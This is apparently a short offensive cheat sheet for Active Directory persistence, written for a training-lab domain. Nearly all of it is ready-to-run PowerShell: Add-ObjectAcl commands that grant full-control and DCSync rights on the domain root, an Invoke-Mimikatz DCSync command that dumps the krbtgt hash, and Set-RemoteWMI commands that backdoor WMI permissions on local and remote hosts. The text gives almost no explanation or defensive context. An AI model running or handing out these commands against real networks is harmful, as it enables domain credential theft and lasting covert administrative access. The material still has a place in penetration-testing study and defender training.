DCSync
Add full-control rights
Add-ObjectAcl -TargetDistinguishedName ‘DC=dollarcorp,DC=moneycorp,DC=local’ -PrincipalSamAccountName <username> -Rights All -VerboseAdd rights for DCsync
Add-ObjectAcl -TargetDistinguishedName ‘DC=dollarcorp,DC=moneycorp,Dc=local’ -PrincipalSamAccountName <username> -Rights DCSync -VerboseExecute DCSync and dump krbtgt
Invoke-Mimikatz -Command '"lsadump::dcsync /user:<domain>\krbtgt"'Security Descriptor - WMI
. ./Set-RemoteWMI.ps1On a local machine
Set-RemoteWMI -Username <username> -VerboseOn a remote machine without explicit credentials
Set-RemoteWMI -Username <username> -Computername <computername> -namespace ‘root\cimv2’ -VerboseOn a remote machine with explicit credentials
Only root/cimv and nested namespaces
Set-RemoteWMI -Username <username> -Computername <computername> -Credential Administrator -namespace ‘root\cimv2’ -VerboseOn remote machine remove permissions
Set-RemoteWMI -Username <username> -Computername <computername> -namespace ‘root\cimv2’ -Remove -VerboseCheck WMI permissions
Get-wmiobject -Class win32_operatingsystem -ComputerName <computername>Last updated